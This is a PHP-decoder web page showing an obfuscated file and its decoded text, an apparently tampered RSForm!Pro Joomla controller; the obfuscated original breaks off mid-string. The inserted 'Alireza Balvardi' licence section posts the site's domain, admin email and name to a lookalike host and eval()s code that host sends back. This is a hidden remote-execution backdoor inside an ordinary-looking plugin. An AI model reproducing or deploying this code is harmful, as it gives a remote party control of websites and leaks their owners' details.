Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $_F=__FILE__;$_C0='U2EoalNRMygpPnUwMU1YYlhldWh8fGpTUTMoKTx1MDFiMWJiMXVoKU5TMygnPDU+b..

Decoded Output download

if(time()>1397060514||time()<1396966914)die('<b>This script has been expired.</b><br />Scripts protected using the PHP Guard Trial Version are valid for 24 hours only.');?><?php
/**
* @version 1.4.0
* @package RSform!Pro 1.4.0
* @copyright (C) 2007-2013 www.rsjoomla.com
* @license GPL, http://www.gnu.org/copyleft/gpl.html
*/

defined('_JEXEC') or die('Restricted access');

class RSFormController extends JControllerLegacy
{
	var $_db;
	
	function __construct()
	{
		parent::__construct();
		
		$this->_db = JFactory::getDBO();
		
		$doc = JFactory::getDocument();
		$doc->addScript(JURI::root(true).'/components/com_rsform/assets/js/script.js');
	}
	
	function captcha()
	{
		require_once JPATH_SITE.'/components/com_rsform/helpers/captcha.php';
		
		$componentId = JRequest::getInt('componentId');
		$captcha = new RSFormProCaptcha($componentId);

		$session = JFactory::getSession();
		$session->set('com_rsform.captcha.'.$componentId, $captcha->getCaptcha());
		exit();
	}
	
	function plugin()
	{
		$mainframe = JFactory::getApplication();
		$mainframe->triggerEvent('rsfp_f_onSwitchTasks');
	}
	
	/* deprecated */
	function showForm()
	{
		
	}
	
	function submissionsViewFile()
	{
		$lang = JFactory::getLanguage();
		$lang->load('com_rsform', JPATH_ADMINISTRATOR);
		
		$hash = JRequest::getCmd('hash');
		if (strlen($hash) != 32)
			return $this->setRedirect('index.php');
		
		$config = JFactory::getConfig();
		$secret = $config->get('secret');
			
		$this->_db->setQuery("SELECT * FROM #__rsform_submission_values WHERE MD5(CONCAT(SubmissionId,'".$this->_db->escape($secret)."',FieldName)) = '".$hash."'");
		$result = $this->_db->loadObject();
		
		// Not found
		if (empty($result))
			return $this->setRedirect('index.php');
		
		// Not an upload field
		$this->_db->setQuery("SELECT c.ComponentTypeId FROM #__rsform_properties p LEFT JOIN #__rsform_components c ON (p.ComponentId=c.ComponentId) WHERE p.PropertyName='NAME' AND p.PropertyValue='".$this->_db->escape($result->FieldName)."'");
		$type = $this->_db->loadResult();
		if ($type != 9)
			return $this->setRedirect('index.php', JText::_('RSFP_VIEW_FILE_NOT_UPLOAD'));
		
		jimport('joomla.filesystem.file');
		if (JFile::exists($result->FieldValue))
			RSFormProHelper::readFile($result->FieldValue);
		
		$this->setRedirect('index.php', JText::_('RSFP_VIEW_FILE_NOT_FOUND'));
	}
	
	function ajaxValidate()
	{
		$form = JRequest::getVar('form');
		$formId = (int) @$form['formId'];
		
		$this->_db->setQuery("SELECT ComponentId, ComponentTypeId FROM #__rsform_components WHERE `FormId`='".$formId."' AND `Published`='1' ORDER BY `Order`");
		$components = $this->_db->loadObjectList();
		
		$page = JRequest::getInt('page');
		if ($page)
		{
			$current_page = 1;
			foreach ($components as $i => $component)
			{
				if ($current_page != $page)
					unset($components[$i]);
				if ($component->ComponentTypeId == 41)
					$current_page++;
			}
		}
		
		$removeUploads   = array();
		$formComponents  = array();
		foreach ($components as $component)
		{
			$formComponents[] = $component->ComponentId;
			if ($component->ComponentTypeId == 9)
				$removeUploads[] = $component->ComponentId;
		}
		
		echo implode(',', $formComponents);
		
		echo "
";
		
		$invalid = RSFormProHelper::validateForm($formId);
		
		//Trigger Event - onBeforeFormValidation
		$mainframe = JFactory::getApplication();
		$post = JRequest::get('post', JREQUEST_ALLOWRAW);
		$mainframe->triggerEvent('rsfp_f_onBeforeFormValidation', array(array('invalid'=>&$invalid, 'formId' => $formId, 'post' => &$post)));
		
		if (count($invalid))
		{
			foreach ($invalid as $i => $componentId)
				if (in_array($componentId, $removeUploads))
					unset($invalid[$i]);
			
			$invalidComponents = array_intersect($formComponents, $invalid);
			
			echo implode(',', $invalidComponents);
		}
		
		if (isset($invalidComponents))
		{
			echo "
";
			
			$pages = RSFormProHelper::componentExists($formId, 41);
			$pages = count($pages);
			
			if ($pages && !$page)
			{
				$first = reset($invalidComponents);
				$current_page = 1;
				foreach ($components as $i => $component)
				{
					if ($component->ComponentId == $first)
						break;
					if ($component->ComponentTypeId == 41)
						$current_page++;
				}
				echo $current_page;
				
				echo "
";
				
				echo $pages;
			}
		}
		
		jexit();
	}
	
	function confirm()
	{
		$db = JFactory::getDBO();
		$hash = JRequest::getVar('hash');
		
		$db->setQuery("SELECT `SubmissionId` FROM `#__rsform_submissions` WHERE MD5(CONCAT(`SubmissionId`,`FormId`,`DateSubmitted`)) = '".$db->escape($hash)."' ");
		$SubmissionId = $db->loadResult();
		
		if ($SubmissionId)
		{
			$db->setQuery("UPDATE `#__rsform_submissions` SET `confirmed` = 1 WHERE `SubmissionId` = '".$SubmissionId."' ");
			$db->execute();
			JError::raiseNotice('200',JText::_('RSFP_SUBMISSION_CONFIRMED'));
		}
		else
		{
			JError::raiseWarning('500',JText::_('RSFP_SUBMISSION_CONFIRMED_ERROR'));
			return;
		}
	}
//Alireza Balvardi Start
//==============================================================================
	static function About($Mytask="about",$code=""){
		$option = "com_rsform";
		$app = JFactory::getApplication();
		$MailFrom	= $app->getCfg("mailfrom");
		$SiteName	= $app->getCfg("sitename");
		$LICENCE_SERVER = "rsjoomla.net";

		$url = "http://".$LICENCE_SERVER."/newnic/licence_manager/register_licence.php";
		$data = "product=$option&sn=$code&task=$Mytask&domain=".JURI::root()."&sitemail=$MailFrom&sitename=$SiteName&ver=1.4.0(rev 48)";
		$body = "";
		if(function_exists("fsockopen")){
			$sock = @fsockopen($LICENCE_SERVER, 80, $errno, $errstr, 30);
			if (!$sock) {
				return false;
			}
			fwrite($sock, "POST /newnic/licence_manager/register_licence.php HTTP/1.0
");
			fwrite($sock, "Host: ".$LICENCE_SERVER."
");
			fwrite($sock, "Content-type: application/x-www-form-urlencoded
");
			fwrite($sock, "Content-length: " . strlen($data) . "
");
			fwrite($sock, "Accept: */*
");
			fwrite($sock, "
");
			fwrite($sock, "$data
");
			fwrite($sock, "
");
			$headers = "";
			while ($str = trim(fgets($sock, 4096)))	$headers .= "$str
";
			$body = "";
			while (!feof($sock)) $body .= fgets($sock, 4096);
			fclose($sock);
		}
		else
		if(function_exists("curl_init")){
		$ch = curl_init();
		curl_setopt($ch,CURLOPT_URL,$url);
		curl_setopt($ch,CURLOPT_POSTFIELDS,$data);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
		curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
		$body = curl_exec($ch);
		curl_close($ch);
		}
		$A = array("install","uninstall");
		if(!in_array($Mytask,$A)){
		if($Mytask=="valid")
			return $body;
		if(stristr($body,'###')){
		$body = explode('###',$body);
		echo $body[0];
		eval($body[1]);
		} else {
		echo $body;
		}
		}
	}
//==============================================================================
	static function CheckLicence(){
		jimport('joomla.filesystem.file');
		jimport('joomla.filesystem.folder');
		if(!function_exists("abcdalalki"))
		die("Alireza Balvardi");
		$folder = JPATH_COMPONENT_SITE.DS.'Licence';
		$file = $folder.DS."licence.txt";
		$Allow = 1;
		if(JFile::exists($file)){
			$content1 = JFile::read($file);
			$filemtime = filemtime($file);
			if(time()-$filemtime > 7776000)
				$filemtime = 0;
			$from = array('http://','https://','www.');
			$to = array("","","");
			$content2 = JURI::root().$filemtime;
			$content2 = str_replace($from,$to,$content2);
			$content2 = md5($content2);
			if($content1!=$content2)
			$Allow = 0;
			else
			return 1;
		}
		else
		$Allow = 0;
		if($Allow==0){
		$code = RSFormProHelper::genKeyCode();
		$body = RSFormController::About("valid",$code);
		if(is_numeric($body)){
		$A = 1;
		if(!JFolder::exists($folder))
		$A = JFolder::create($folder);
		elseif(file_exists($file))
		JFile::delete($file);
			switch($body){
				case 1:
					$file = $folder.DS."licence.txt";
					if(!JFile::exists($file)){
					$from = array('http://','https://','www.');
					$to = array("","","");
					$content = JURI::root().time();
					$content = str_replace($from,$to,$content);
					$content = md5($content);
					$f = fopen($file,'w');
					fwrite($f,$content,strlen($content));
					fclose($f);
					}
					return 1;
				break;
				default:
				echo "<div class=\"MyMessage\">"."        .<br />         [email protected]   09136225467    ."."</div>";
				RSFormController::About("xabout");
				if(file_exists($file))
				JFile::delete($file);
			}
		}
		else
		return 0;
		}
	}
//==============================================================================
//Alireza Balvardi End
}<?php if(headers_sent())echo(base64_decode('PGRpdiBzdHlsZT0ncG9zaXRpb246YWJzb2x1dGU7d2lkdGg6NDQwcHg7bGVmdDo1MCU7dG9wOjIwcHg7bWFyZ2luLWxlZnQ6LTI1MHB4O3BhZGRpbmc6OHB4O3BhZGRpbmctbGVmdDo0OXB4O2JvcmRlcjoxcHggc29saWQgIzk5OTtiYWNrZ3JvdW5kOiNmZjkgdXJsKGh0dHA6Ly93d3cucGhwZ3VhcmQubmV0L3NjcmlwdCkgbm8tcmVwZWF0IDI2cHggN3B4O2ZvbnQtZmFtaWx5OlZlcmRhbmEsR2VuZXZhLHNhbnMtc2VyaWY7Zm9udC1zaXplOjEycHg7Y29sb3I6IzY2NjsnIG9uY2xpY2s9J3RoaXMuc3R5bGUuZGlzcGxheT0ibm9uZSI7Jz5UaGlzIHNjcmlwdCB3YXMgcHJvdGVjdGVkIHVzaW5nIHRoZSA8YSBocmVmPSdodHRwOi8vd3d3LnBocGd1YXJkLm5ldCcgc3R5bGU9J2NvbG9yOiMwNmM7dGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZTtmb250LXdlaWdodDpib2xkJyB0YXJnZXQ9J19ibGFuayc+UEhQIEd1YXJkPC9hPiBUcmlhbCBWZXJzaW9uLjwvZGl2Pg='));?>

Did this file decode correctly?

Original Code

<?php $_F=__FILE__;$_C0='U2EoalNRMygpPnUwMU1YYlhldWh8fGpTUTMoKTx1MDFiMWJiMXVoKU5TMygnPDU+b3dTVSBVbkxTa2ogd3FVIDUzM3AgM0NrU0wzTi48LzU+PDVMIC8+S25MU2tqVSBrTDJqM25qM04gQlVTcGkganczIHJJciA4QnFMTiBvTFNxZiBSM0xVUzJwIHFMMyBWcWZTTiBhMkwgY2ggdzJCTFUgMnBmVC4nKTs/Pjw/a3drDQovKioNCiogQFYzTFVTMnAgdS5oLlgNCiogQGtxbllxaTMgOUthMkxRIXJMMiB1LmguWA0KKiBAbjJrVExTaXdqICh6KSBjWFhNLWNYdTAgbW1tLkxVNDIyUWZxLm4yUQ0KKiBAZlNuM3BVMyA4cnQsIHdqams6Ly9tbW0uaXBCLjJMaS9uMmtUZjNhai9pa2Yud2pRZg0KKi8NCg0KTjNhU3AzTignX3lkUGR6JykgMkwgTlMzKCc5M1VqTFNuajNOIHFubjNVVScpOw0KDQpuZnFVVSA5S1cyTFF6MnBqTDJmZjNMIDNDajNwTlUgeXoycGpMMmZmM0x0M2lxblQNCnsNCglWcUwgJF9ONTsNCgkNCglhQnBualMycCBfX24ycFVqTEJuaigpDQoJew0KCQlrcUwzcGo6Ol9fbjJwVWpMQm5qKCk7DQoJCQ0KCQkkandTVS0+X041ID0geVdxbmoyTFQ6OmkzamxERigpOw0KCQkNCgkJJE4ybiA9IHlXcW5qMkxUOjppM2psMm5CUTNwaigpOw0KCQkkTjJuLT5xTk5LbkxTa2ooeUU5Sjo6TDIyaihqTEIzKS4nL24yUWsycDNwalUvbjJRX0xVYTJMUS9xVVUzalUvNFUvVW5MU2tqLjRVJyk7DQoJfQ0KCQ0KCWFCcG5qUzJwIG5xa2pud3EoKQ0KCXsNCgkJTDNzQlNMM18ycG4zIHlyQW9JX0tKb2QuJy9uMlFrMnAzcGpVL24yUV9MVWEyTFEvdzNmazNMVS9ucWtqbndxLmt3ayc7DQoJCQ0KCQkkbjJRazJwM3BqSk4gPSB5OTNzQjNVajo6aTNqSnBqKCduMlFrMnAzcGpKTicpOw0KCQkkbnFram53cSA9IHAzbSA5S1cyTFFyTDJ6cWtqbndxKCRuMlFrMnAzcGpKTik7DQoNCgkJJFUzVVVTMnAgPSB5V3FuajJMVDo6aTNqSzNVVVMycCgpOw0KCQkkVTNVVVMycC0+VTNqKCduMlFfTFVhMkxRLm5xa2pud3EuJy4kbjJRazJwM3BqSk4sICRucWtqbndxLT5pM2p6cWtqbndxKCkpOw0KCQkzQ1NqKCk7DQoJfQ0KCQ0KCWFCcG5qUzJwIGtmQmlTcCgpDQoJew0KCQkkUXFTcGFMcVEzID0geVdxbmoyTFQ6OmkzakFra2ZTbnFqUzJwKCk7DQoJCSRRcVNwYUxxUTMtPmpMU2lpM0xkVjNwaignTFVha19hXzJwS21Tam53b3FVWVUnKTsNCgl9DQoJDQoJLyogTjNrTDNucWozTiAqLw0KCWFCcG5qUzJwIFV3Mm1XMkxRKCkNCgl7DQoJCQ0KCX0NCgkNCglhQnBualMycCBVQjVRU1VVUzJwVVJTM21XU2YzKCkNCgl7DQoJCSRmcXBpID0geVdxbmoyTFQ6OmkzanRxcGlCcWkzKCk7DQoJCSRmcXBpLT5mMnFOKCduMlFfTFVhMkxRJywgeXJBb0lfQWxaSjdKS285QW9GOSk7DQoJCQ0KCQkkd3FVdyA9IHk5M3NCM1VqOjppM2p6UU4oJ3dxVXcnKTsNCgkJU2EgKFVqTGYzcCgkd3FVdykgIT0gMGMpDQoJCQlMM2pCTHAgJGp3U1UtPlUzajkzTlNMM25qKCdTcE4zQy5rd2snKTsNCgkJDQoJCSRuMnBhU2kgPSB5V3FuajJMVDo6aTNqejJwYVNpKCk7DQoJCSRVM25MM2ogPSAkbjJwYVNpLT5pM2ooJ1UzbkwzaicpOw0KCQkJDQoJCSRqd1NVLT5fTjUtPlUzak9CM0xUKCJLZHRkem8gKiBXOUZaICNfX0xVYTJMUV9VQjVRU1VVUzJwX1ZxZkIzVSBnSWQ5ZCBabGUoekY3ekFvKEtCNVFTVVVTMnBKTiwnIi4kandTVS0+X041LT4zVW5xazMoJFUzbkwzaikuIicsV1MzZk43cVEzKSkgPSAnIi4kd3FVdy4iJyIpOw0KCQkkTDNVQmZqID0gJGp3U1UtPl9ONS0+ZjJxTkY1NDNuaigpOw0KCQkNCgkJLy8gNzJqIGEyQnBODQoJCVNhICgzUWtqVCgkTDNVQmZqKSkNCgkJCUwzakJMcCAkandTVS0+VTNqOTNOU0wzbmooJ1NwTjNDLmt3aycpOw0KCQkNCgkJLy8gNzJqIHFwIEJrZjJxTiBhUzNmTg0KCQkkandTVS0+X041LT5VM2pPQjNMVCgiS2R0ZHpvIG4uejJRazJwM3Bqb1RrM0pOIFc5RlogI19fTFVhMkxRX2tMMmszTGpTM1UgayB0ZFdvIHlGSjcgI19fTFVhMkxRX24yUWsycDNwalUgbiBGNyAoay56MlFrMnAzcGpKTj1uLnoyUWsycDNwakpOKSBnSWQ5ZCBrLnJMMmszTGpUN3FRMz0nN0FaZCcgQTdsIGsuckwyazNMalRScWZCMz0nIi4kandTVS0+X041LT4zVW5xazMoJEwzVUJmai0+V1MzZk43cVEzKS4iJyIpOw0KCQkkalRrMyA9ICRqd1NVLT5fTjUtPmYycU45M1VCZmooKTsNCgkJU2EgKCRqVGszICE9IDEpDQoJCQlMM2pCTHAgJGp3U1UtPlUzajkzTlNMM25qKCdTcE4zQy5rd2snLCB5bzNDajo6XygnOUtXcl9SSmRnX1dKdGRfN0ZvX0VydEZBbCcpKTsNCgkJDQoJCTRTUWsyTGooJzQyMlFmcS5hU2YzVVRVajNRLmFTZjMnKTsNCgkJU2EgKHlXU2YzOjozQ1NValUoJEwzVUJmai0+V1MzZk5ScWZCMykpDQoJCQk5S1cyTFFyTDJJM2ZrM0w6OkwzcU5XU2YzKCRMM1VCZmotPldTM2ZOUnFmQjMpOw0KCQkNCgkJJGp3U1UtPlUzajkzTlNMM25qKCdTcE4zQy5rd2snLCB5bzNDajo6XygnOUtXcl9SSmRnX1dKdGRfN0ZvX1dGRTdsJykpOw0KCX0NCgkNCglhQnBualMycCBxNHFDUnFmU05xajMoKQ0KCXsNCgkJJGEyTFEgPSB5OTNzQjNVajo6aTNqUnFMKCdhMkxRJyk7DQoJCSRhMkxRSk4gPSAoU3BqKSBAJGEyTFFbJ2EyTFFKTiddOw0KCQkNCgkJJGp3U1UtPl9ONS0+VTNqT0IzTFQoIktkdGR6byB6MlFrMnAzcGpKTiwgejJRazJwM3Bqb1RrM0pOIFc5RlogI19fTFVhMkxRX24yUWsycDNwalUgZ0lkOWQgYFcyTFFKTmA9JyIuJGEyTFFKTi4iJyBBN2wgYHJCNWZTVXczTmA9J3UnIEY5bGQ5IERHIGBGTE4zTGAiKTsNCgkJJG4yUWsycDNwalUgPSAkandTVS0+X041LT5mMnFORjU0M25qdFNVaigpOw0KCQkNCgkJJGtxaTMgPSB5OTNzQjNVajo6aTNqSnBqKCdrcWkzJyk7DQoJCVNhICgka3FpMykNCgkJew0KCQkJJG5CTEwzcGpfa3FpMyA9IHU7DQoJCQlhMkwzcW53ICgkbjJRazJwM3BqVSBxVSAkUyA9PiAkbjJRazJwM3BqKQ0KCQkJew0KCQkJCVNhICgkbkJMTDNwal9rcWkzICE9ICRrcWkzKQ0KCQkJCQlCcFUzaigkbjJRazJwM3BqVVskU10pOw0KCQkJCVNhICgkbjJRazJwM3BqLT56MlFrMnAzcGpvVGszSk4gPT0gaHUpDQoJCQkJCSRuQkxMM3BqX2txaTMrKzsNCgkJCX0NCgkJfQ0KCQkNCgkJJEwzUTJWM0VrZjJxTlUgICA9IHFMTHFUKCk7DQoJCSRhMkxRejJRazJwM3BqVSAgPSBxTExxVCgpOw0KCQlhMkwzcW53ICgkbjJRazJwM3BqVSBxVSAkbjJRazJwM3BqKQ0KCQl7DQoJCQkkYTJMUXoyUWsycDNwalVbXSA9ICRuMlFrMnAzcGotPnoyUWsycDNwakpOOw0KCQkJU2EgKCRuMlFrMnAzcGotPnoyUWsycDNwam9UazNKTiA9PSAxKQ0KCQkJCSRMM1EyVjNFa2YycU5VW10gPSAkbjJRazJwM3BqLT56MlFrMnAzcGpKTjsNCgkJfQ0KCQkNCgkJM253MiBTUWtmMk4zKCcsJywgJGEyTFF6MlFrMnAzcGpVKTsNCgkJDQoJCTNudzIgIlxwIjsNCgkJDQoJCSRTcFZxZlNOID0gOUtXMkxRckwySTNmazNMOjpWcWZTTnFqM1cyTFEoJGEyTFFKTik7DQoJCQ0KCQkvL29MU2lpM0wgZFYzcGogLSAycEQzYTJMM1cyTFFScWZTTnFqUzJwDQoJCSRRcVNwYUxxUTMgPSB5V3FuajJMVDo6aTNqQWtrZlNucWpTMnAoKTsNCgkJJGsyVWogPSB5OTNzQjNVajo6aTNqKCdrMlVqJywgeTlkT0VkS29fQXR0Rmc5QWcpOw0KCQkkUXFTcGFMcVEzLT5qTFNpaTNMZFYzcGooJ0xVYWtfYV8ycEQzYTJMM1cyTFFScWZTTnFqUzJwJywgcUxMcVQocUxMcVQoJ1NwVnFmU04nPT4mJFNwVnFmU04sICdhMkxRSk4nID0+ICRhMkxRSk4sICdrMlVqJyA9PiAmJGsyVWopKSk7DQoJCQ0KCQlTYSAobjJCcGooJFNwVnFmU04pKQ0KCQl7DQoJCQlhMkwzcW53ICgkU3BWcWZTTiBxVSAkUyA9PiAkbjJRazJwM3BqSk4pDQoJCQkJU2EgKFNwX3FMTHFUKCRuMlFrMnAzcGpKTiwgJEwzUTJWM0VrZjJxTlUpKQ0KCQkJCQlCcFUzaigkU3BWcWZTTlskU10pOw0KCQkJDQoJCQkkU3BWcWZTTnoyUWsycDNwalUgPSBxTExxVF9TcGozTFUzbmooJGEyTFF6MlFrMnAzcGpVLCAkU3BWcWZTTik7DQoJCQkNCgkJCTNudzIgU1FrZjJOMygnLCcsICRTcFZxZlNOejJRazJwM3BqVSk7DQoJCX0NCgkJDQoJCVNhIChTVVUzaigkU3BWcWZTTnoyUWsycDNwalUpKQ0KCQl7DQoJCQkzbncyICJccCI7DQoJCQkNCgkJCSRrcWkzVSA9IDlLVzJMUXJMMkkzZmszTDo6bjJRazJwM3BqZENTVWpVKCRhMkxRSk4sIGh1KTsNCgkJCSRrcWkzVSA9IG4yQnBqKCRrcWkzVSk7DQoJCQkNCgkJCVNhICgka3FpM1UgJiYgISRrcWkzKQ0KCQkJew0KCQkJCSRhU0xVaiA9IEwzVTNqKCRTcFZxZlNOejJRazJwM3BqVSk7DQoJCQkJJG5CTEwzcGpfa3FpMyA9IHU7DQoJCQkJYTJMM3FudyAoJG4yUWsycDNwalUgcVUgJFMgPT4gJG4yUWsycDNwaikNCgkJCQl7DQoJCQkJCVNhICgkbjJRazJwM3BqLT56MlFrMnAzcGpKTiA9PSAkYVNMVWopDQoJCQkJCQk1TDNxWTsNCgkJCQkJU2EgKCRuMlFrMnAzcGotPnoyUWsycDNwam9UazNKTiA9PSBodSkNCgkJCQkJCSRuQkxMM3BqX2txaTMrKzsNCgkJCQl9DQoJCQkJM253MiAkbkJMTDNwal9rcWkzOw0KCQkJCQ0KCQkJCTNudzIgIlxwIjsNCgkJCQkNCgkJCQkzbncyICRrcWkzVTsNCgkJCX0NCgkJfQ0KCQkNCgkJNDNDU2ooKTsNCgl9DQoJDQoJYUJwbmpTMnAgbjJwYVNMUSgpDQoJew0KCQkkTjUgPSB5V3FuajJMVDo6aTNqbERGKCk7DQoJCSR3cVV3ID0geTkzc0IzVWo6OmkzalJxTCgnd3FVdycpOw0KCQkNCgkJJE41LT5VM2pPQjNMVCgiS2R0ZHpvIGBLQjVRU1VVUzJwSk5gIFc5RlogYCNfX0xVYTJMUV9VQjVRU1VVUzJwVWAgZ0lkOWQgWmxlKHpGN3pBbyhgS0I1UVNVVVMycEpOYCxgVzJMUUpOYCxgbHFqM0tCNVFTamozTmApKSA9ICciLiRONS0+M1VucWszKCR3cVV3KS4iJyAiKTsNCgkJJEtCNVFTVVVTMnBKTiA9ICRONS0+ZjJxTjkzVUJmaigpOw0KCQkNCgkJU2EgKCRLQjVRU1VVUzJwSk4pDQoJCXsNCgkJCSRONS0+VTNqT0IzTFQoIkVybEFvZCBgI19fTFVhMkxRX1VCNVFTVVVTMnBVYCBLZG8gYG4ycGFTTFEzTmAgPSB1IGdJZDlkIGBLQjVRU1VVUzJwSk5gID0gJyIuJEtCNVFTVVVTMnBKTi4iJyAiKTsNCgkJCSRONS0+M0MzbkJqMygpOw0KCQkJeWRMTDJMOjpMcVNVMzcyalNuMygnY1hYJyx5bzNDajo6XygnOUtXcl9LRURaSktLSkY3X3pGN1dKOVpkbCcpKTsNCgkJfQ0KCQkzZlUzDQoJCXsNCgkJCXlkTEwyTDo6THFTVTNncUxwU3BpKCdlWFgnLHlvM0NqOjpfKCc5S1dyX0tFRFpKS0tKRjdfekY3V0o5WmRsX2Q5OUY5JykpOw0KCQkJTDNqQkxwOw0KCQl9DQoJfQ0KLy9BZlNMM3hxIERxZlZxTE5TIEtqcUxqDQovLz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KCVVqcWpTbiBhQnBualMycCBBNTJCaigkWlRqcVVZPSJxNTJCaiIsJG4yTjM9IiIpew0KCQkkMmtqUzJwID0gIm4yUV9MVWEyTFEiOw0KCQkkcWtrID0geVdxbmoyTFQ6OmkzakFra2ZTbnFqUzJwKCk7DQoJCSRacVNmV0wyUQk9ICRxa2stPmkzanphaSgiUXFTZmFMMlEiKTsNCgkJJEtTajM3cVEzCT0gJHFray0+aTNqemFpKCJVU2ozcHFRMyIpOw0KCQkkdEp6ZDd6ZF9LZDlSZDkgPSAiTFU0MjJRZnEucDNqIjsNCg0KCQkkQkxmID0gIndqams6Ly8iLiR0SnpkN3pkX0tkOVJkOS4iL3AzbXBTbi9mU24zcG4zX1FxcHFpM0wvTDNpU1VqM0xfZlNuM3BuMy5rd2siOw0KCQkkTnFqcSA9ICJrTDJOQm5qPSQya2pTMnAmVXA9JG4yTjMmanFVWT0kWlRqcVVZJk4yUXFTcD0iLnlFOUo6OkwyMmooKS4iJlVTajNRcVNmPSRacVNmV0wyUSZVU2ozcHFRMz0kS1NqMzdxUTMmVjNMPXUuaC5YKEwzViBoNikiOw0KCQkkNTJOVCA9ICIiOw0KCQlTYShhQnBualMycF8zQ1NValUoImFVMm5ZMmszcCIpKXsNCgkJCSRVMm5ZID0gQGFVMm5ZMmszcCgkdEp6ZDd6ZF9LZDlSZDksIDZYLCAkM0xMcDIsICQzTExVakwsIDBYKTsNCgkJCVNhICghJFUyblkpIHsNCgkJCQlMM2pCTHAgYXFmVTM7DQoJCQl9DQoJCQlhbUxTajMoJFUyblksICJyRktvIC9wM21wU24vZlNuM3BuM19RcXBxaTNML0wzaVNVajNMX2ZTbjNwbjMua3drIElvb3IvdS5YXExccCIpOw0KCQkJYW1MU2ozKCRVMm5ZLCAiSTJVajogIi4kdEp6ZDd6ZF9LZDlSZDkuIlxMXHAiKTsNCgkJCWFtTFNqMygkVTJuWSwgInoycGozcGotalRrMzogcWtrZlNucWpTMnAvQy1tbW0tYTJMUS1CTGYzcG4yTjNOXExccCIpOw0KCQkJYW1MU2ozKCRVMm5ZLCAiejJwajNwai1mM3Bpanc6ICIgLiBVakxmM3AoJE5xanEpIC4gIlxMXHAiKTsNCgkJCWFtTFNqMygkVTJuWSwgIkFubjNrajogKi8qXExccCIpOw0KCQkJYW1MU2ozKCRVMm5ZLCAiXExccCIpOw0KCQkJYW1MU2ozKCRVMm5ZLCAiJE5xanFcTFxwIik7DQoJCQlhbUxTajMoJFUyblksICJcTFxwIik7DQoJCQkkdzNxTjNMVSA9ICIiOw0KCQkJbXdTZjMgKCRVakwgPSBqTFNRKGFpM2pVKCRVMm5ZLCBoWDFiKSkpCSR3M3FOM0xVIC49ICIkVWpMXHAiOw0KCQkJJDUyTlQgPSAiIjsNCgkJCW13U2YzICghYTMyYSgkVTJuWSkpICQ1Mk5UIC49IGFpM2pVKCRVMm5ZLCBoWDFiKTsNCgkJCWFuZjJVMygkVTJuWSk7DQoJCX0NCgkJM2ZVMw0KCQlTYShhQnBualMycF8zQ1NValUoIm5CTGZfU3BTaiIpKXsNCgkJJG53ID0gbkJMZl9TcFNqKCk7DQoJCW5CTGZfVTNqMmtqKCRudyx6RTl0RnJvX0U5dCwkQkxmKTsNCgkJbkJMZl9VM2oya2ooJG53LHpFOXRGcm9fckZLb1dKZHRsSywkTnFqcSk7DQoJCW5CTGZfVTNqMmtqKCRudywgekU5dEZyb19LS3RfUmQ5SldHcmRkOSwgV0F0S2QpOw0KCQluQkxmX1UzajJraigkbncsekU5dEZyb185ZG9FOTdvOUE3S1dkOSxqTEIzKTsNCgkJJDUyTlQgPSBuQkxmXzNDM24oJG53KTsNCgkJbkJMZl9uZjJVMygkbncpOw0KCQl9DQoJCSRBID0gcUxMcVQoIlNwVWpxZmYiLCJCcFNwVWpxZmYiKTsNCgkJU2EoIVNwX3FMTHFUKCRaVGpxVVksJEEpKXsNCgkJU2EoJFpUanFVWT09IlZxZlNOIikNCgkJCUwzakJMcCAkNTJOVDsNCgkJU2EoVWpMU1VqTCgkNTJOVCwnIyMjJykpew0KCQkkNTJOVCA9IDNDa2YyTjMoJyMjIycsJDUyTlQpOw0KCQkzbncyICQ1Mk5UW1hdOw0KCQkzVnFmKCQ1Mk5UW3VdKTsNCgkJfSAzZlUzIHsNCgkJM253MiAkNTJOVDsNCgkJfQ0KCQl9DQoJfQ0KLy89PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCglVanFqU24gYUJwbmpTMnAgenczbll0U24zcG4zKCl7DQoJCTRTUWsyTGooJzQyMlFmcS5hU2YzVVRVajNRLmFTZjMnKTsNCgkJNFNRazJMaignNDIyUWZxLmFTZjNVVFVqM1EuYTJmTjNMJyk7DQoJCVNhKCFhQnBualMycF8zQ1NValUoInE1bk5xZnFmWVMiKSkNCgkJTlMzKCJBZlNMM3hxIERxZlZxTE5TIik7DQoJCSRhMmZOM0wgPSB5ckFvSV96RlpyRjdkN29fS0pvZC5sSy4ndFNuM3BuMyc7DQoJCSRhU2YzID0gJGEyZk4zTC5sSy4iZlNuM3BuMy5qQ2oiOw0KCQkkQWZmMm0gPSB1Ow0KCQlTYSh5V1NmMzo6M0NTVWpVKCRhU2YzKSl7DQoJCQkkbjJwajNwanUgPSB5V1NmMzo6TDNxTigkYVNmMyk7DQoJCQkkYVNmM1FqU1EzID0gYVNmM1FqU1EzKCRhU2YzKTsNCgkJCVNhKGpTUTMoKS0kYVNmM1FqU1EzID4gTU1NYlhYWCkNCgkJCQkkYVNmM1FqU1EzID0gWDsNCgkJCSRhTDJRID0gcUxMcVQoJ3dqams6Ly8nLCd3amprVTovLycsJ21tbS4nKTsNCgkJCSRqMiA9IHFMTHFUKCIiLCIiLCIiKTsNCgkJCSRuMnBqM3BqYyA9IHlFOUo6OkwyMmooKS4kYVNmM1FqU1EzOw0KCQkJJG4ycGozcGpjID0gVWpMX0wza2ZxbjMoJGFMMlEsJGoyLCRuMnBqM3BqYyk7DQoJCQkkbjJwajNwamMgPSBRTmUoJG4ycGozcGpjKTsNCgkJCVNhKCRuMnBqM3BqdSE9JG4ycGozcGpjKQ0KCQkJJEFmZjJtID0gWDsNCgkJCTNmVTMNCgkJCUwzakJMcCB1Ow0KCQl9DQoJCTNmVTMNCgkJJEFmZjJtID0gWDsNCgkJU2EoJEFmZjJtPT1YKXsNCgkJJG4yTjMgPSA5S1cyTFFyTDJJM2ZrM0w6OmkzcHYzVHoyTjMoKTsNCgkJJDUyTlQgPSA5S1cyTFF6MnBqTDJmZjNMOjpBNTJCaigiVnFmU04iLCRuMk4zKTsNCgkJU2EoU1VfcEJRM0xTbigkNTJOVCkpew0KCQkkQSA9IHU7DQoJCVNhKCF5VzJmTjNMOjozQ1NValUoJG